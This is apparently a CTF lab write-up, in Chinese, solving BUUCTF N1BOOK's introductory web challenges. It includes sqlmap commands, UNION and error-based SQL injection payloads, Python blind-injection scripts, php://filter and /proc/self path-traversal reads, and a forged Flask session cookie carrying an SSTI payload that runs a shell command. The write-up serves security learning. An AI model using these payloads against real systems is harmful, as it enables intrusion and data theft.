BUUCTF N1BOOK [第一章 web入门]
目录
[第一章 web入门]常见的搜集
题目:
解题过程:
本题主要考察的是一些敏感文件,有可能会从这些文件中得到一些源码,本题更露骨,直接给出flag。
1.访问 robots.txt
2.访问flag1_is_her3_fun.txt
3.访问index.php~
4.访问.index.php.swp(注意前面的.)
下载,用记事本打开,查找flag,即可找到
将三个flag进行拼接即可得到flag。
[第一章 web入门]粗心的小李
题目:
解题过程:
本题目考察的是git文件泄露,这个需要我们下载一个py脚本GitHack-master。之前做过一个相似的git文件泄露题目:[GXYCTF2019]禁止套娃wp传送门
具体过程是:
首先电脑上要有python2.x的环境,然后去github传送门下载相应的文件,在下载好的GitHack-master文件夹内按住shift键,同时鼠标右键点击空白处,点击在此处打开命令窗口,输入命令
python2 GitHack.py http://5d2b4f2d-a7ba-41ed-8ea2-b479d7376dab.node3.buuoj.cn/.git/
(我的电脑上python2启动的python2.x,具体看大家的电脑环境是怎样的)
得到的源码会留在工具GitHack-master所在的文件夹内,是个index.html
本地访问即可得到flag。
[第一章 web入门]SQL注入-1
题目:
解题过程:
第一种解法:sqlmap(脚本小子)
库名
python sqlmap.py -u "http://44306dc7-da80-4676-870d-23c8faa08761.node3.buuoj.cn/index.php?id=1" --dbs --batch
得到4个库名
查看note库
python sqlmap.py -u "http://44306dc7-da80-4676-870d-23c8faa08761.node3.buuoj.cn/index.php?id=1" -D note --tables --batch
得到2个表名
查看fl4g表
python sqlmap.py -u "http://44306dc7-da80-4676-870d-23c8faa08761.node3.buuoj.cn/index.php?id=1" -D note -T fl4g --columns --batch
得到字段名
查看字段值
python sqlmap.py -u "http://44306dc7-da80-4676-870d-23c8faa08761.node3.buuoj.cn/index.php?id=1" -D note -T fl4g -C fllllag --dump --batch
得到flag
第二种解法:
首先判断是字符型:
id=2 和id=2a 回显相同
判断字段数
?id=1' order by 3--+
(注意有点问题,在注释后面的时候,#不行,但是--+可以,不是很懂,可能是过滤了吧,懂的大佬麻烦说一下)
判断回显位
?id=121' union select 1,database(),version()--+
得到库名
查看表名
?id=121' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查看字段名
?id=121' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'--+
获取字段值
?id=121' union select 1,group_concat(fllllag),3 from fl4g--+
第三种解法:盲注脚本
最近学的py脚本比较多,顺便写了一下,加深一下印象
import requests
s=requests.session()
url='http://44306dc7-da80-4676-870d-23c8faa08761.node3.buuoj.cn/index.php'
table=""
for i in range(1,50):
print(i)
for j in range(31,128):
#爆库名,不过不经常用这个东西,因为库名有的情况下只有一个,但是也有多个的情况,这个时候,需要选择一下
#payload = "ascii(substr(database(),%s,1))=%s--+"%(str(i),str(j))
#爆表名 flag
#payload = "ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%s--+"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fl4g'),%s,1))=%s--+"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select fllllag from fl4g),%s,1))=%s--+"%(str(i), str(j))
#这个也是读取flag的,但是注意substr的用法有点不一样,注意这点就行,两者皆可
payload = "ascii(substr((select fllllag from fl4g) from %s for 1))=%s--+"%(str(i), str(j))
ra = s.get(url=url + '?id=0%27 or ' + payload).text
if 'Why am I feeling so happy today' in ra:
table += chr(j)
print(table)
break
[第一章 web入门]SQL注入-2
题目:给了提示,login.php,user.php
解题过程:
访问login.php,查看源码,有提示
如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦
burp抓包,
这是一串unicode编码,在接下来的盲注中有用。因为提示中有开启mysql错误提示,所以尝试报错注入
第一种解法:报错注入
注意fuzz的时候,发现题目过滤了select,但是我们可以根据mysql对大小写不敏感,从而使用大小写绕过,sElect代替select
修改报文中,name和pass的值(其实pass的值无所谓,因为后面被过滤了)
查看表名
name=admin' and updatexml(1,concat(0x7e,(sElect group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e)--+&pass=123456
得到: '~fl4g,users'"
查看字段名
name=admin' and updatexml(1,concat(0x7e,(sElect group_concat(column_name) from information_schema.columns where table_name='fl4g')),0x7e)--+&pass=123456
得到字段名:'~flag'"
查看字段值
name=admin' and updatexml(1,concat(0x7e,(sElect flag from fl4g)),0x7e)--+&pass=123456
得到flag。
第二种方法:盲注脚本
import requests
import time
url='http://08f1666c-461a-4f98-98bc-046a76029c6a.node3.buuoj.cn/login.php'
table=""
#库名
#payload = "1' or ascii(substr(database(),%d,1))=%s#"
#表名
payload = "1' or ascii(substr((sElect group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%s#"
#字段名
payload = "1' or ascii(substr((sElect group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1))=%s#"
#字段值
payload = "1' or ascii(substr((sElect flag from fl4g) from %d for 1))=%s#"
for i in range(1,50):
print(i)
for j in range(31,128):
data={
'name' : payload %(i,str(j)),
'pass' : '123456'
}
ra = requests.post(url=url,data=data)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in ra.text:
table += chr(j)
print(table)
break
[第一章 web入门]afr_1
题目:
解题过程:
php伪协议读取flag
?p=php://filter/read=convert.base64-encode/resource=flag
得到
进行base64解码
附加自己写的一个垃圾的脚本:
import requests
import time
import base64
url="http://ad7555dd-51f9-4e19-bb89-7537e3d4e912.node3.buuoj.cn/?p=php://filter/convert.base64-encode/resource=flag"
flag=""
ra = requests.get(url=url).text
str1 = base64.b64decode('PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9'.encode('utf-8'))
print(ra)
print(str(str1,'utf-8'))
[第一章 web入门]afr_2
题目:
解题过程:
打开之后,震惊,gif动态图
查看f12,有一个目录,目录穿越
访问img文件夹
进行目录穿越
payload: img../
下载flag,记事本打开即可。
[第一章 web入门]afr_3
题目:
解题过程:
这个题目基本是全盲区,还是太菜了太菜了...,看了师傅们的wp勉强理解
本题目主要考察的是linux下/proc/文件夹的应用,同事还有flask模板注入的知识,同时还有一个py脚本加密
引用下师傅们的关于proc文件夹的介绍
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid],当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
打开题目,如下
查询1后跳转
点击article,继续跳转,注意此时的url后面变为article?name=article,一定有诈
利用name参数获取当前执行的命令
?name=../../../../proc/self/cmdline
查看server.py的源码
?name=../../../../proc/self/cwd/server.py
注意源码中flag.py和key.py的文件
继续访问flag.py和key.py
查看flag.py,没许可/权限
?name=../../../../proc/self/cwd/flag.py
查看key.py,得到密钥
?name=../../../../proc/self/cwd/flag.py
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
反过来对server.py进行代码审计
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None #这里我们传入的session中有n1code参数
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
#经过层层筛选,我们传入的session终于进入template,等待下一步的渲染
session['n1code'] = None
return render_template_string(template) #这就是模板注入的地方
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
代码的大体意思是,有两种路径,一种是/n1page,一种是/article,而前者存在ssti漏洞,我们需要将n1code参数及其值装进session中,然后进行传参,达到ssti的目的。
但是这个过程中,需要进行session伪造,这就需要我们对session伪造有一定的了解,推荐两个链接,这两位师傅讲的比较好。
[HCTF 2018]admin(flask session伪造,Unicode欺骗)
加密脚本的获取方式
git clone https://github.com/noraj/flask-session-cookie-manager
但是注意使用环境是py3.x,可以直接用kali的环境,py3已经安装好了,下载完成后,执行
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{
{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
抓包改变cookie的值,即可得到flag。
一些其他的想法:
关于下面这个解题方法,有点疑惑
{'n1code': '{
{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
为什么是41???自己尝试了几次
1.查看全部的
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{
{\'\'.__class__.__mro__[2].__subclasses__()}}'}"
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKCl9fSJ9.YFyuHg.w9_tZzWjTSRiywAnct3HcgoVWbs
回显如下:
2.我们再来看71号,
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{
{\'\'.__class__.__mro__[2].__subclasses__()[71]}}'}"
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNzFdfX0ifQ.YFytUw.vyT0JjcI4JTMIHh4vBgcgg8Gidc
回显:
是个<site._Printer>
3.康康里面有啥
python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{
{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__}}'}"
.eJyrVsozTM5PSVWyUqquVlfXi49PzkksLo6PB7Jyi_Lj46ONYoHM4tIksHgqUEZDM9rcECSYmZdZAlaYnpOflJgDlKqtVaoFAJOlHRQ.YFy1Eg.rya6kBmzyASmh7tJpeWdtn8vSgM
回显如下,其中包含os,推测可能和os有关
小结
这一章的题目不是很难,同时也学到了一些新的东西,比如session伪造,收获还是不小的。
但是自己这章做的这么久还是太菜了。。。还是需要努力向师傅们学习。